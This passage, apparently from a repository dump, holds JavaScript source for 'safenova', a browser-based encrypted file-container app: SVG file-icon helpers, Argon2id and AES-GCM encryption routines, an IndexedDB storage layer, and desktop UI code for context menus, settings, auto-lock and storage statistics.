'bat'].includes(ext))\n            return _bigIcon('#dcdcaa', _codePath());\n        if (['json', 'yaml', 'yml', 'xml', 'csv'].includes(ext))\n            return _bigIcon('#4ec9b0', _dataPath());\n        return _bigIcon('#d4d4d4', _textPath());\n    }\n    if (['zip', 'rar', 'gz', '7z', 'tar'].includes(ext)) return _bigIcon('#ce9178', _archivePath());\n    if (['doc', 'docx'].includes(ext)) return _bigIcon('#569cd6', _docPath());\n    if (['xls', 'xlsx'].includes(ext)) return _bigIcon('#4ec9b0', _dataPath());\n    if (['ppt', 'pptx'].includes(ext)) return _bigIcon('#ce9178', _slidePath());\n    // Unknown type — show extension label inside icon (≤ 4 chars only)\n    if (ext && ext.length <= 4) return _bigIconExt('#858585', ext.toUpperCase());\n    return _bigIcon('#858585', _filePath());\n}\n\nfunction _bigIcon(color, inner) {\n    return `<svg width=\"48\" height=\"48\" viewBox=\"0 0 48 48\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n    <path d=\"M10 4h18l10 10v30H10z\" fill=\"${color}\" opacity=\".1\" stroke=\"${color}\" stroke-width=\"1.5\" stroke-linejoin=\"round\"/>\n    <path d=\"M28 4v10h10\" stroke=\"${color}\" stroke-width=\"1.5\" stroke-linecap=\"square\"/>\n    ${inner.replace(/COLOR/g, color)}\n  </svg>`;\n}\n\nfunction _filePath() { return `<path d=\"M16 26h16M16 31h12\" stroke=\"COLOR\" stroke-width=\"1.8\" stroke-linecap=\"square\" opacity=\".7\"/>`; }\nfunction _textPath() { return `<path d=\"M16 23h16M16 28h16M16 33h11\" stroke=\"COLOR\" stroke-width=\"1.8\" stroke-linecap=\"square\" opacity=\".7\"/>`; }\nfunction _codePath() { return `<path d=\"M19 22l-5 5 5 5M29 22l5 5-5 5M25 19l-4 14\" stroke=\"COLOR\" stroke-width=\"1.8\" stroke-linecap=\"round\" stroke-linejoin=\"round\" opacity=\".8\"/>`; }\nfunction _dataPath() { return `<path d=\"M15 25h18M21 20v14M27 20v14\" stroke=\"COLOR\" stroke-width=\"1.8\" stroke-linecap=\"square\" opacity=\".7\"/>`; }\nfunction _imgPath() { return `<rect x=\"15\" y=\"20\" width=\"18\" height=\"14\" rx=\"1\" stroke=\"COLOR\" stroke-width=\"1.5\" opacity=\".7\"/><circle cx=\"20\" cy=\"25\" r=\"2\" fill=\"COLOR\" opacity=\".6\"/><path d=\"M15 31l7-5 4 4 3-2 4 3\" stroke=\"COLOR\" stroke-width=\"1.5\" stroke-linejoin=\"round\" opacity=\".7\"/>`; }\nfunction _audioPath() { return `<circle cx=\"24\" cy=\"27\" r=\"6\" stroke=\"COLOR\" stroke-width=\"1.5\" opacity=\".7\"/><circle cx=\"24\" cy=\"27\" r=\"2\" fill=\"COLOR\" opacity=\".6\"/><path d=\"M20 21v6\" stroke=\"COLOR\" stroke-width=\"1.8\" stroke-linecap=\"round\" opacity=\".6\"/>`; }\nfunction _videoPath() { return `<rect x=\"13\" y=\"21\" width=\"15\" height=\"12\" rx=\"1\" stroke=\"COLOR\" stroke-width=\"1.5\" opacity=\".7\"/><path d=\"M28 24l7-3v10l-7-3z\" fill=\"COLOR\" opacity=\".5\" stroke=\"COLOR\" stroke-width=\"1.5\" stroke-linejoin=\"round\"/>`; }\nfunction _pdfPath() { return `<path d=\"M15 23h8M15 28h10M15 33h13\" stroke=\"COLOR\" stroke-width=\"1.8\" stroke-linecap=\"square\" opacity=\".7\"/><path d=\"M30 21v6h5\" stroke=\"COLOR\" stroke-width=\"1.5\" stroke-linecap=\"square\" opacity=\".5\"/>`; }\nfunction _archivePath() { return `<path d=\"M22 4v40M18 12h8M18 18h8M18 24h8M18 30h8\" stroke=\"COLOR\" stroke-width=\"1.8\" stroke-linecap=\"square\" opacity=\".7\"/>`; }\nfunction _docPath() { return `<path d=\"M16 23h16M16 28h16M16 33h10\" stroke=\"COLOR\" stroke-width=\"1.8\" stroke-linecap=\"square\" opacity=\".7\"/><path d=\"M32 21l2 2-2 2\" stroke=\"COLOR\" stroke-width=\"1.5\" stroke-linecap=\"round\" opacity=\".6\"/>`; }\nfunction _slidePath() { return `<rect x=\"14\" y=\"20\" width=\"20\" height=\"14\" rx=\"1\" stroke=\"COLOR\" stroke-width=\"1.5\" opacity=\".7\"/><path d=\"M24 27l-4-4v8z\" fill=\"COLOR\" opacity=\".6\"/>`; }\n\nfunction _bigIconExt(color, extText) {\n    const fs = extText.length <= 2 ? 14 : extText.length === 3 ? 12 : 10;\n    return `<svg width=\"48\" height=\"48\" viewBox=\"0 0 48 48\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n    <path d=\"M10 4h18l10 10v30H10z\" fill=\"${color}\" opacity=\".1\" stroke=\"${color}\" stroke-width=\"1.5\" stroke-linejoin=\"round\"/>\n    <path d=\"M28 4v10h10\" stroke=\"${color}\" stroke-width=\"1.5\" stroke-linecap=\"square\"/>\n    <text x=\"24\" y=\"35\" text-anchor=\"middle\" font-size=\"${fs}\" font-weight=\"700\" font-family=\"Cascadia Code,Consolas,monospace\" fill=\"${color}\" opacity=\".9\">${extText}</text>\n  </svg>`;\n}\n"
  },
  {
    "path": "safenova/js/crypto.js",
    "content": "'use strict';\n\n/* ============================================================\n   CRYPTO  —  AES-256-GCM + Argon2id (WASM)\n   ============================================================ */\nconst Crypto = (() => {\n\n  async function deriveKey(password, salt) {\n    // Use Argon2id via hash-wasm for key derivation\n    const hash = await hashwasm.argon2id({\n      password,\n      salt,\n      parallelism: ARGON2_PAR,\n      iterations:  ARGON2_ITER,\n      memorySize:  ARGON2_MEM,\n      hashLength:  32,\n      outputType:  'binary',\n    });\n    return crypto.subtle.importKey(\n      'raw', hash,\n      { name: 'AES-GCM' },\n      false,\n      ['encrypt', 'decrypt']\n    );\n  }\n\n  async function encrypt(key, data) {\n    const iv  = crypto.getRandomValues(new Uint8Array(12));\n    const buf = data instanceof ArrayBuffer\n      ? data\n      : (data instanceof Uint8Array\n        ? data.buffer\n        : new TextEncoder().encode(typeof data === 'string' ? data : JSON.stringify(data)));\n    const ct  = await crypto.subtle.encrypt({ name: 'AES-GCM', iv }, key, buf);\n    return { iv: Array.from(iv), blob: buf2b64(ct) };\n  }\n\n  async function decrypt(key, iv, blobB64) {\n    const ivU8 = new Uint8Array(iv);\n    const buf  = b642buf(blobB64);\n    return crypto.subtle.decrypt({ name: 'AES-GCM', iv: ivU8 }, key, buf);\n  }\n\n  async function encryptBin(key, buf) {\n    const iv = crypto.getRandomValues(new Uint8Array(12));\n    const ct = await crypto.subtle.encrypt({ name: 'AES-GCM', iv }, key, buf);\n    return { iv: Array.from(iv), blob: ct };\n  }\n\n  async function decryptBin(key, iv, blob) {\n    return crypto.subtle.decrypt({ name: 'AES-GCM', iv: new Uint8Array(iv) }, key, blob);\n  }\n\n  async function makeVerification(key) {\n    const { iv, blob } = await encrypt(key, VERIFY_TEXT);\n    return { iv, blob };\n  }\n\n  async function checkVerification(key, iv, blob) {\n    try {\n      const buf = await decrypt(key, iv, blob);\n      return new TextDecoder().decode(buf) === VERIFY_TEXT;\n    } catch { return false; }\n  }\n\n  return { deriveKey, encrypt, decrypt, encryptBin, decryptBin, makeVerification, checkVerification };\n})();\n"
  },
  {
    "path": "safenova/js/db.js",
    "content": "'use strict';\n\n/* ============================================================\n   DATABASE  —  IndexedDB abstraction\n   ============================================================ */\nconst DB = (() => {\n  let _db = null;\n\n  async function init() {\n    return new Promise((res, rej) => {\n      const req = indexedDB.open(DB_NAME, DB_VERSION);\n      req.onupgradeneeded = e => {\n        const db = e.target.result;\n        if (!db.objectStoreNames.contains('containers')) {\n          db.createObjectStore('containers', { keyPath: 'id' });\n        }\n        if (!db.objectStoreNames.contains('files')) {\n          const fs = db.createObjectStore('files', { keyPath: 'id' });\n          fs.createIndex('cid', 'cid');\n        }\n        if (!db.objectStoreNames.contains('vfs')) {\n          db.createObjectStore('vfs', { keyPath: 'cid' });\n        }\n      };\n      req.onsuccess = e => { _db = e.target.result; res(); };\n      req.onerror   = () => rej(req.error);\n    });\n  }\n\n  function rw(store) { return _db.transaction(store, 'readwrite').objectStore(store); }\n  function ro(store) { return _db.transaction(store, 'readonly').objectStore(store); }\n  function wrap(req) { return new Promise((r, j) => { req.onsuccess = () => r(req.result); req.onerror = () => j(req.error); }); }\n\n  return {\n    init,\n    /* containers */\n    getContainers:   ()    => wrap(ro('containers').getAll()),\n    saveContainer:   (c)   => wrap(rw('containers').put(c)),\n    deleteContainer: (id)  => wrap(rw('containers').delete(id)),\n\n    /* files */\n    saveFile:       (f)   => wrap(rw('files').put(f)),\n    getFile:        (id)  => wrap(ro('files').get(id)),\n    getFilesByCid:  (cid) => wrap(ro('files').index('cid').getAll(cid)),\n    deleteFile:     (id)  => wrap(rw('files').delete(id)),\n\n    /* vfs */\n    saveVFS:   (cid, iv, blob) => wrap(rw('vfs').put({ cid, iv, blob })),\n    getVFS:    (cid)           => wrap(ro('vfs').get(cid)),\n    deleteVFS: (cid)           => wrap(rw('vfs').delete(cid)),\n\n    /* nuke container — deletes everything */\n    async nukeContainer(cid) {\n      const files = await this.getFilesByCid(cid);\n      for (const f of files) await this.deleteFile(f.id);\n      await this.deleteVFS(cid);\n      await this.deleteContainer(cid);\n    }\n  };\n})();\n"
  },
  {
    "path": "safenova/js/desktop.js",
    "content": "'use strict';\n\n/* ============================================================\n   SAVE VFS\n   ============================================================ */\nasync function saveVFS() {\n  if (!App.key || !App.container) return;\n  try {\n    const json = JSON.stringify(VFS.toObj());\n    const { iv, blob } = await Crypto.encrypt(App.key, json);\n    await DB.saveVFS(App.container.id, iv, blob);\n    App.container.totalSize = VFS.totalSize();\n    await DB.saveContainer(App.container);\n    Desktop.updateTaskbar();\n  } catch (e) { console.error('saveVFS error', e); }\n}\n\n\n\n/* ============================================================\n   CONTEXT MENU\n   ============================================================ */\nlet _activeSubmenu = null;\n\nfunction showCtxMenu(x, y, items) {\n  hideSubmenu();\n  const menu = document.getElementById('ctx-menu');\n  menu.innerHTML = '';\n  items.forEach(item => {\n    if (item.sep) {\n      const d = document.createElement('div'); d.className = 'ctx-sep'; menu.appendChild(d); return;\n    }\n    const li = document.createElement('div');\n    li.className = 'ctx-item' + (item.danger ? ' danger' : '') + (item.disabled ? ' disabled' : '');\n    if (item.submenu) {\n      li.innerHTML = `<span class=\"ctx-item-icon\">${item.icon || ''}</span><span>${escHtml(item.label)}</span><span class=\"ctx-item-arrow\">›</span>`;\n      li.addEventListener('mouseenter', () => showSubmenu(li, item.submenu));\n      li.addEventListener('mouseleave', e => { if (!e.relatedTarget?.closest('#ctx-menu-sub')) hideSubmenu(); });\n    } else if (item.disabled && item._tooltip) {\n      li.innerHTML = `<span class=\"ctx-item-icon\">${item.icon || ''}</span><span>${escHtml(item.label)}</span>`;\n      let _tip = null;\n      li.addEventListener('mouseenter', () => {\n        _tip = document.createElement('div');\n        _tip.className = 'ctx-tooltip';\n        _tip.textContent = item._tooltip;\n        document.body.appendChild(_tip);\n        const r = li.getBoundingClientRect();\n        _tip.style.left = r.right + 6 + 'px'; _tip.style.top = r.top + 'px';\n        const tr = _tip.getBoundingClientRect();\n        if (tr.right > window.innerWidth) _tip.style.left = Math.max(0, r.left - tr.width - 6) + 'px';\n      });\n      li.addEventListener('mouseleave', () => { if (_tip) { _tip.remove(); _tip = null; } });\n    } else {\n      li.innerHTML = `<span class=\"ctx-item-icon\">${item.icon || ''}</span><span>${escHtml(item.label)}</span>`;\n      li.addEventListener('click', () => { hideCtxMenu(); item.action?.(); });\n      li.addEventListener('mouseenter', hideSubmenu);\n    }\n    menu.appendChild(li);\n  });\n  menu.style.left = x + 'px';\n  menu.style.top  = y + 'px';\n  menu.classList.add('show');\n  const r = menu.getBoundingClientRect();\n  // Account for taskbar at the bottom (36px + 1px border)\n  const taskbarH = document.querySelector('.taskbar')?.offsetHeight || 37;\n  const maxBottom = window.innerHeight - taskbarH;\n  if (r.right  > window.innerWidth) menu.style.left = Math.max(0, x - r.width)  + 'px';\n  if (r.bottom > maxBottom)         menu.style.top  = Math.max(0, y - r.height) + 'px';\n}\n\nfunction showSubmenu(parentEl, items) {\n  hideSubmenu();\n  let sub = document.getElementById('ctx-menu-sub');\n  if (!sub) {\n    sub = document.createElement('div');\n    sub.className = 'ctx-menu'; sub.id = 'ctx-menu-sub';\n    document.body.appendChild(sub);\n  }\n  sub.innerHTML = '';\n  let _activeSub2 = null;\n\n  function hideSub2() {\n    if (_activeSub2) { _activeSub2.remove(); _activeSub2 = null; }\n  }\n\n  items.forEach(item => {\n    if (item.sep) { const d = document.createElement('div'); d.className = 'ctx-sep'; sub.appendChild(d); return; }\n    const li = document.createElement('div');\n    li.className = 'ctx-item' + (item.danger ? ' danger' : '') + (item.disabled ? ' disabled' : '');\n    if (item.submenu) {\n      li.innerHTML = `<span class=\"ctx-item-icon\">${item.icon || ''}</span><span>${escHtml(item.label)}</span><span class=\"ctx-item-arrow\">›</span>`;\n      li.addEventListener('mouseenter', () => {\n        hideSub2();\n        const sub2 = document.createElement('div');\n        sub2.className = 'ctx-menu show';\n        item.submenu.forEach(si => {\n          if (si.sep) { const d = document.createElement('div'); d.className = 'ctx-sep'; sub2.appendChild(d); return; }\n          const li2 = document.createElement('div');\n          li2.className = 'ctx-item' + (si.danger ? ' danger' : '');\n          li2.innerHTML = `<span class=\"ctx-item-icon\">${si.icon || ''}</span><span>${escHtml(si.label)}</span>`;\n          li2.addEventListener('click', () => { hideCtxMenu(); si.action?.(); });\n          sub2.appendChild(li2);\n        });\n        document.body.appendChild(sub2);\n        const pr = li.getBoundingClientRect();\n        sub2.style.position = 'fixed';\n        sub2.style.left = pr.right + 'px'; sub2.style.top = pr.top + 'px';\n        const sr = sub2.getBoundingClientRect();\n        const _taskbarH2 = document.querySelector('.taskbar')?.offsetHeight || 37;\n        const _maxB2 = window.innerHeight - _taskbarH2;\n        if (window.innerWidth <= 640) {\n          sub2.style.left = Math.max(0, Math.min(pr.left, window.innerWidth - sr.width)) + 'px';\n          sub2.style.top  = Math.min(pr.bottom, _maxB2 - sr.height) + 'px';\n        } else {\n          if (sr.right  > window.innerWidth) sub2.style.left = Math.max(0, pr.left - sr.width) + 'px';\n          if (sr.bottom > _maxB2)            sub2.style.top  = Math.max(0, pr.top  - (sr.bottom - _maxB2)) + 'px';\n        }\n        _activeSub2 = sub2;\n        sub2.addEventListener('mouseleave', e => {\n          if (e.relatedTarget && li.contains(e.relatedTarget)) return;\n          hideSub2();\n        });\n      });\n      li.addEventListener('mouseleave', e => {\n        if (_activeSub2 && _activeSub2.contains(e.relatedTarget)) return;\n        hideSub2();\n      });\n    } else {\n      li.innerHTML = `<span class=\"ctx-item-icon\">${item.icon || ''}</span><span>${escHtml(item.label)}</span>`;\n      li.addEventListener('click', () => { hideCtxMenu(); item.action?.(); });\n      li.addEventListener('mouseenter', hideSub2);\n    }\n    sub.appendChild(li);\n  });\n  sub.classList.add('show');\n  const pr = parentEl.getBoundingClientRect();\n  sub.style.left = pr.right + 'px'; sub.style.top = pr.top + 'px';\n  const sr = sub.getBoundingClientRect();\n  const _taskbarH = document.querySelector('.taskbar')?.offsetHeight || 37;\n  const _maxB = window.innerHeight - _taskbarH;\n  if (window.innerWidth <= 640) {\n    // Mobile: open below parent item to prevent horizontal overflow\n    sub.style.left = Math.max(0, Math.min(pr.left, window.innerWidth - sr.width)) + 'px';\n    sub.style.top  = Math.min(pr.bottom, _maxB - sr.height) + 'px';\n  } else {\n    if (sr.right  > window.innerWidth) sub.style.left = Math.max(0, pr.left - sr.width) + 'px';\n    if (sr.bottom > _maxB)             sub.style.top  = Math.max(0, pr.top  - (sr.bottom - _maxB)) + 'px';\n  }\n  _activeSubmenu = sub;\n}\n\nfunction hideSubmenu() {\n  // Remove any third-level submenus\n  document.querySelectorAll('body > .ctx-menu:not(#ctx-menu):not(#ctx-menu-sub)').forEach(el => el.remove());\n  if (_activeSubmenu) { _activeSubmenu.classList.remove('show'); _activeSubmenu = null; }\n}\n\nfunction hideCtxMenu() {\n  document.getElementById('ctx-menu').classList.remove('show');\n  document.querySelectorAll('body > .ctx-menu:not(#ctx-menu):not(#ctx-menu-sub)').forEach(el => el.remove());\n  document.querySelectorAll('.ctx-tooltip').forEach(el => el.remove());\n  hideSubmenu();\n}\n\n/* ============================================================\n   HOVER TOOLTIP\n   ============================================================ */\nlet _tooltipTimer = null;\nlet _tooltipEl    = null;\nlet _isDragging   = false;\n\nfunction _startHoverTooltip(el, node) {\n  if (_isDragging) return;\n  _cancelHoverTooltip();\n  _tooltipTimer = setTimeout(() => {\n    _tooltipEl = document.createElement('div');\n    _tooltipEl.className = 'file-tooltip';\n    const mime       = node.type === 'folder' ? 'Folder' : (node.mime || getMime(node.name));\n    const childCount = node.type === 'folder' ? VFS.children(node.id).length : null;\n    const folderSize = node.type === 'folder' && typeof _folderSize === 'function' ? _folderSize(node.id) : null;\n    _tooltipEl.innerHTML =\n      `<div class=\"ft-name\">${escHtml(node.name)}</div>` +\n      `<div class=\"ft-row\">Path: ${escHtml(VFS.fullPath(node.id))}</div>` +\n      `<div class=\"ft-row\">Type: ${escHtml(node.type === 'folder' ? 'Folder' : mime)}</div>` +\n      (node.size  != null  ? `<div class=\"ft-row\">Size: ${fmtSize(node.size)}</div>` : '') +\n      (folderSize !== null ? `<div class=\"ft-row\">Size: ${fmtSize(folderSize)}</div>` : '') +\n      (childCount !== null ? `<div class=\"ft-row\">Items: ${childCount}</div>` : '') +\n      `<div class=\"ft-row\">Modified: ${fmtDate(node.mtime)}</div>` +\n      `<div class=\"ft-row\">Created: ${fmtDate(node.ctime)}</div>`;\n    _tooltipEl.style.cssText = 'position:fixed;left:0;top:0;visibility:hidden';\n    document.body.appendChild(_tooltipEl);\n    const rect = el.getBoundingClientRect();\n    // If element was removed from DOM or has zero size, abort\n    if (!document.contains(el) || (rect.width === 0 && rect.height === 0)) {\n      _tooltipEl.remove(); _tooltipEl = null; return;\n    }\n    const tw = _tooltipEl.offsetWidth, th = _tooltipEl.offsetHeight;\n    let left = rect.right + 10, top = rect.top;\n    if (left + tw > window.innerWidth  - 8) left = rect.left - tw - 10;\n    if (top  + th > window.innerHeight - 8) top  = window.innerHeight - th - 8;\n    left = Math.max(4, left);\n    top  = Math.max(4, top);\n    _tooltipEl.style.cssText = `position:fixed;left:${left}px;top:${top}px`;\n  }, 750);\n}\n\nfunction _cancelHoverTooltip() {\n  if (_tooltipTimer) { clearTimeout(_tooltipTimer); _tooltipTimer = null; }\n  if (_tooltipEl)    { _tooltipEl.remove(); _tooltipEl = null; }\n}\n\n/* ============================================================\n   SETTINGS\n   ============================================================ */\nconst SETTINGS_DEFAULTS = { iconSize: 'normal', gridDots: true, autoLock: '60', disableAnimations: false };\n\nlet _autoLockTimerId = null;\n\nfunction _resetContainerSettings() {\n  // Cancel any pending auto-lock timer\n  if (_autoLockTimerId) { clearTimeout(_autoLockTimerId); _autoLockTimerId = null; }\n  // Reset body icon-size and animation classes to defaults\n  document.body.classList.remove('icons-small', 'icons-normal', 'icons-large', 'no-animations');\n  document.body.classList.add('icons-normal');\n  // Reset grid constants\n  GRID_X = 96;\n  GRID_Y = 96;\n  // Reset desktop grid dots to default (visible)\n  const area = document.getElementById('desktop-area');\n  if (area) area.classList.remove('no-grid-dots');\n}\n\nfunction _getSettings() {\n  const s = App.container?.settings;\n  return { ...SETTINGS_DEFAULTS, ...s };\n}\n\nfunction _applySettings(s) {\n  // Icon Size — apply to body so it covers desktop + all folder windows\n  document.body.classList.remove('icons-small', 'icons-normal', 'icons-large');\n  document.body.classList.add('icons-' + (s.iconSize || 'normal'));\n  // Update internal grid size depending on scale\n  const oldGX = GRID_X, oldGY = GRID_Y;\n  let scale = 1;\n  if (s.iconSize === 'small') scale = 0.75;\n  if (s.iconSize === 'large') scale = 1.25;\n  GRID_X = Math.round(96 * scale);\n  GRID_Y = Math.round(96 * scale);\n\n  // Remap all saved positions to the new grid if grid changed\n  if (oldGX !== GRID_X || oldGY !== GRID_Y) {\n    VFS.remapPositions(oldGX, oldGY, GRID_X, GRID_Y);\n    saveVFS();\n    Desktop._renderIcons();\n    if (typeof WinManager !== 'undefined') WinManager.renderAll();\n  }\n  \n  // Grid Dots\n  const area = document.getElementById('desktop-area');\n  area.classList.toggle('no-grid-dots', !s.gridDots);\n  document.querySelectorAll('.fw-area').forEach(a => a.classList.toggle('no-grid-dots', !s.gridDots));\n  // Animations\n  document.body.classList.toggle('no-animations', !!s.disableAnimations);\n}\n\nasync function _saveSettings(s) {\n  if (!App.container) return;\n  App.container.settings = s;\n  await DB.saveContainer(App.container);\n}\n\nfunction _resetAutoLockTimer() {\n  if (_autoLockTimerId) {\n    clearTimeout(_autoLockTimerId);\n    _autoLockTimerId = null;\n  }\n  const s = _getSettings();\n  if (s.autoLock && s.autoLock !== '0') {\n    const min = parseInt(s.autoLock, 10);\n    if (!isNaN(min) && min > 0) {\n      _autoLockTimerId = setTimeout(() => {\n        App.closeContainer();\n      }, min * 60 * 1000);\n    }\n  }\n}\n\nfunction openSettings() {\n  const s = _getSettings();\n  // Populate UI\n  document.querySelectorAll('#settings-icon-size .settings-toggle-btn').forEach(btn => {\n    btn.classList.toggle('active', btn.dataset.value === s.iconSize);\n  });\n  document.querySelector('#settings-grid-dots input').checked = s.gridDots;\n  document.querySelector('#settings-animations input').checked = !!s.disableAnimations;\n  \n  // Setup custom dropdown for auto-lock\n  const dd = document.getElementById('settings-autolock-dd');\n  const currentAl = s.autoLock || '60';\n  \n  const updateDdUI = (val) => {\n    dd.querySelectorAll('.custom-dd-opt').forEach(opt => {\n      const isSel = opt.dataset.value === val;\n      opt.classList.toggle('selected', isSel);\n      if (isSel) dd.querySelector('.custom-dd-val').textContent = opt.textContent;\n    });\n  };\n  \n  // Remove old listeners to prevent duplicates (clone head and menu)\n  const ddHead = dd.querySelector('.custom-dd-head');\n  const newDdHead = ddHead.cloneNode(true);\n  ddHead.parentNode.replaceChild(newDdHead, ddHead);\n  \n  // Set initial value AFTER cloning so we update the live DOM element\n  updateDdUI(currentAl);\n  \n  newDdHead.onclick = (e) => {\n    e.stopPropagation();\n    document.querySelectorAll('.custom-dd').forEach(d => { if (d !== dd) d.classList.remove('open'); });\n    dd.classList.toggle('open');\n  };\n  \n  const ddMenu = dd.querySelector('.custom-dd-menu');\n  const newDdMenu = ddMenu.cloneNode(true);\n  ddMenu.parentNode.replaceChild(newDdMenu, ddMenu);\n  \n  newDdMenu.querySelectorAll('.custom-dd-opt').forEach(opt => {\n    opt.onclick = async (e) => {\n      e.stopPropagation();\n      const val = opt.dataset.value;\n      updateDdUI(val);\n      dd.classList.remove('open');\n      const ns = { ..._getSettings(), autoLock: val };\n      _applySettings(ns);\n      await _saveSettings(ns);\n      _resetAutoLockTimer();\n    };\n  });\n  \n  // Close dropdowns on outside click\n  document.addEventListener('click', () => {\n    document.querySelectorAll('.custom-dd').forEach(d => d.classList.remove('open'));\n  }, { once: true }); // This might attach multiple times, let's just make it persistent on body in main if needed, but it's fine here for now since modal blocks. Actually better:\n  \n  document.addEventListener('click', (e) => {\n    if (!e.target.closest('.custom-dd')) {\n      document.querySelectorAll('.custom-dd').forEach(d => d.classList.remove('open'));\n    }\n  });\n\n  // Tab state\n  document.querySelectorAll('.settings-tab').forEach(t => t.classList.toggle('active', t.dataset.tab === 'personalization'));\n  document.getElementById('settings-personalization').style.display = '';\n  document.getElementById('settings-statistics').style.display = 'none';\n  // Bind tabs\n  document.querySelectorAll('.settings-tab').forEach(t => {\n    t.onclick = () => {\n      document.querySelectorAll('.settings-tab').forEach(t2 => t2.classList.remove('active'));\n      t.classList.add('active');\n      document.getElementById('settings-personalization').style.display = t.dataset.tab === 'personalization' ? '' : 'none';\n      document.getElementById('settings-statistics').style.display = t.dataset.tab === 'statistics' ? '' : 'none';\n      if (t.dataset.tab === 'statistics') _renderStats();\n    };\n  });\n  // Bind icon size buttons\n  document.querySelectorAll('#settings-icon-size .settings-toggle-btn').forEach(btn => {\n    btn.onclick = async () => {\n      document.querySelectorAll('#settings-icon-size .settings-toggle-btn').forEach(b => b.classList.remove('active'));\n      btn.classList.add('active');\n      const ns = { ..._getSettings(), iconSize: btn.dataset.value };\n      _applySettings(ns);\n      await _saveSettings(ns);\n    };\n  });\n  // Bind grid dots\n  document.querySelector('#settings-grid-dots input').onchange = async function() {\n    const ns = { ..._getSettings(), gridDots: this.checked };\n    _applySettings(ns);\n    await _saveSettings(ns);\n  };\n  // Bind disabled animations\n  document.querySelector('#settings-animations input').onchange = async function() {\n    const ns = { ..._getSettings(), disableAnimations: this.checked };\n    _applySettings(ns);\n    await _saveSettings(ns);\n  };\n  Overlay.show('modal-settings');\n}\n\nconst STATS_COLORS = ['#0078d4','#e74856','#16c60c','#f9f1a5','#b4009e','#00b7c3','#ff8c00','#e3008c'];\n\nfunction _renderStats() {\n  const deskFid = Desktop._desktopFolder;\n  // Gather all nodes recursively\n  let totalFiles = 0, totalFolders = 0, totalSize = 0;\n  const typeCounts = {};\n  function walk(pid) {\n    VFS.children(pid).forEach(n => {\n      if (n.type === 'folder') {\n        totalFolders++;\n        walk(n.id);\n      } else {\n        totalFiles++;\n        totalSize += n.size || 0;\n        const ext = n.name.includes('.') ? n.name.split('.').pop().toLowerCase() : 'other';\n        typeCounts[ext] = (typeCounts[ext] || 0) + 1;\n      }\n    });\n  }\n  walk('root');\n  // Stats cards\n  const grid = document.getElementById('stats-grid');\n  grid.innerHTML = '';\n  const cards = [\n    { value: totalFiles, label: 'Files' },\n    { value: totalFolders, label: 'Folders' },\n    { value: fmtSize(totalSize), label: 'Total Size' },\n    { value: fmtDate(App.container?.createdAt), label: 'Created' },\n  ];\n  cards.forEach(c => {\n    const card = document.createElement('div'); card.className = 'stats-card';\n    card.innerHTML = `<span class=\"stats-card-value\">${escHtml(String(c.value))}</span><span class=\"stats-card-label\">${escHtml(c.label)}</span>`;\n    grid.appendChild(card);\n  });\n  // File type bar chart (top 6)\n  const chart = document.getElementById('stats-bar-chart');\n  chart.innerHTML = '';\n  const sorted = Object.entries(typeCounts).sort((a, b) => b[1] - a[1]).slice(0, 6);\n  const maxCount = sorted.length ? sorted[0][1] : 1;\n  sorted.forEach(([ext, count], i) => {\n    const pct = Math.round(count / totalFiles * 100);\n    const row = document.createElement('div'); row.className = 'stats-bar-row';\n    row.innerHTML =\n      `<span class=\"stats-bar-row-label\">.${escHtml(ext)}</span>` +\n      `<div class=\"stats-bar-row-track\"><div class=\"stats-bar-row-fill\" style=\"width:${Math.round(count/maxCount*100)}%;background:${STATS_COLORS[i%STATS_COLORS.length]}\"></div></div>` +\n      `<span class=\"stats-bar-row-pct\">${pct}%</span>`;\n    chart.appendChild(row);\n  });\n  if (!sorted.length) chart.innerHTML = '<span style=\"font-size:12px;color:var(--text-dim)\">No files yet</span>';\n  // Storage bar\n  const storBar = document.getElementById('stats-storage-bar');\n  const used = App.container?.totalSize || 0;\n  const limit = 500 * 1024 * 1024; // 500MB display cap\n  const pctUsed = Math.min(100, Math.round(used / limit * 100));\n  storBar.innerHTML =\n    `<div class=\"stats-storage-fill\" style=\"width:${pctUsed}%\"></div>` +\n    `<span class=\"stats-storage-text\">${fmtSize(used)} used</span>`;\n}\n\n/* ============================================================\n   SNAP TO FREE GRID CELL\n   occupied = Map<\"cx_cy\", id>  (cells already taken)\n   ============================================================ */\nfunction _snapFreeCell(rawX, rawY, occupied) {\n  const cx0 = Math.max(0, Math.round((rawX - 8) / GRID_X));\n  const cy0 = Math.max(0, Math.round((rawY - 8) / GRID_Y));\n  for (let r = 0; r <= 80; r++) {\n    for (let dy = -r; dy <= r; dy++) {\n      for (let dx = -r; dx <= r; dx++) {\n        if (Math.abs(dx) !== r && Math.abs(dy) !== r) continue;\n        const cx = cx0 + dx, cy = cy0 + dy;\n        if (cx < 0 || cy < 0) continue;\n        if (!occupied.has(`${cx}_${cy}`)) return { x: 8 + cx * GRID_X, y: 8 + cy * GRID_Y };\n      }\n    }\n  }\n  return { x: 8 + cx0 * GRID_X, y: 8 + cy0 * GRID_Y };\n}\n\n/* ============================================================\n   SHARED ICON ELEMENT BUILDER\n   ============================================================ */\nfunction _buildIconEl(node, pos) {\n  const div = document.createElement('div');\n  div.className  = 'file-item';\n  div.dataset.id = node.id;\n  div.style.left = pos.x + 'px';\n  div.style.top  = pos.y + 'px';\n  // Prevent native browser drag-select ghost image\n  div.addEventListener('dragstart', e => e.preventDefault());\n  div.addEventListener('mouseenter', () => _startHoverTooltip(div, node));\n  div.addEventListener('mouseleave', _cancelHoverTooltip);\n\n  const thumb = document.createElement('div');\n  if (node.type === 'folder') {\n    thumb.className = 'file-thumb folder-icon';\n    thumb.innerHTML = getFolderSVG(node.color);\n  } else {\n    thumb.className = 'file-thumb';\n    const mime = node.mime || getMime(node.name);\n    if (App.thumbCache[node.id]) {\n      const img = document.createElement('img');\n      img.src = App.thumbCache[node.id];\n      img.draggable = false;\n      thumb.appendChild(img);\n    } else {\n      thumb.innerHTML = getFileIconSVG(mime, node.name);\n      if (isImage(mime)) {\n        generateThumb(node).then(url => {\n          if (!url) return;\n          App.thumbCache[node.id] = url;\n          // Find in any visible context (main desktop or any window)\n          const el = document.querySelector(`.file-item[data-id=\"${node.id}\"] .file-thumb`);\n          if (el) {\n            const i = document.createElement('img');\n            i.src = url; i.draggable = false;\n            el.innerHTML = ''; el.appendChild(i);\n          }\n        });\n      }\n    }\n  }\n\n  const name = document.createElement('div');\n  name.className   = 'file-name';\n  name.textContent = node.name;\n  div.appendChild(thumb);\n  div.appendChild(name);\n  return div;\n}\n\n/* ============================================================\n   DESKTOP\n   ============================================================ */\nconst Desktop = {\n  _desktopFolder: 'root',\n  _sel: 